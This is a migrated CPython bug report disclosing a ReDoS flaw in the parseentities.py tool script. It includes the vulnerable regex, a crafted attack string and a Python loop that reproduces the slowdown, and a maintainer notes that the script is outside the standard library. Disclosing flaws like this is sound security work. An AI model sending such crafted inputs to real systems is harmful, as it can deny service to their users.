REDoS in parseentities

[yetingli]

BPO	41921
Nosy	@malemburg, @serhiy-storchaka, @pablogsal, @yetingli

^{Note: these values reflect the state of the issue at the time it was migrated and might not reflect the current state.}

Show more details

GitHub fields:

assignee = None
closed_at = None
created_at = <Date 2020-10-03.15:12:49.444>
labels = ['3.9', '3.10', '3.11']
title = 'REDoS in parseentities'
updated_at = <Date 2021-12-06.10:24:39.254>
user = 'https://github.com/yetingli'

bugs.python.org fields:

activity = <Date 2021-12-06.10:24:39.254>
actor = 'lemburg'
assignee = 'none'
closed = False
closed_date = None
closer = None
components = ['Demos and Tools']
creation = <Date 2020-10-03.15:12:49.444>
creator = 'yetingli'
dependencies = []
files = []
hgrepos = []
issue_num = 41921
keywords = []
message_count = 3.0
messages = ['377885', '378011', '407783']
nosy_count = 4.0
nosy_names = ['lemburg', 'serhiy.storchaka', 'pablogsal', 'yetingli']
pr_nums = []
priority = 'normal'
resolution = None
stage = None
status = 'open'
superseder = None
type = None
url = 'https://bugs.python.org/issue41921'
versions = ['Python 3.9', 'Python 3.10', 'Python 3.11']

[yetingli]

Hi,

I find this regex '<!ENTITY +(\w+) +CDATA +"([^"]+)" +-- +((?:.|\n)+?) *-->' may be stucked by input.
The vulnerable regex is located in

cpython/Tools/scripts/parseentities.py

Line 18 in 8d21aa2

entityRE = re.compile('<!ENTITY +(\w+) +CDATA +"([^"]+)" +-- +((?:.|\n)+?) *-->')

The ReDOS vulnerability of the regex is mainly due to the sub-pattern ' +((?:.|\n)+?) *'
and can be exploited with the following string
'<!ENTITY a CDATA "a" -- ' + ' ' * 5000

You can execute the following code to reproduce ReDos

from Tools.scripts.parseentities import parse
from time import perf_counter

for i in range(0, 10000):
    ATTACK = '<!ENTITY a CDATA "a" -- ' + ' ' * i * 100
    LEN = len(ATTACK)
    BEGIN = perf_counter()
    parse(ATTACK)
    DURATION = perf_counter() - BEGIN
    print(f"{LEN}: took {DURATION} seconds!")

Looking forward for your response​!

Best,
Yeting Li

[pablogsal]

Without evaluating the validity of the regex vulnerability, is important to note that the files in Tools/scripts are not part of the standard library and therefore they aren't a valid stack vector.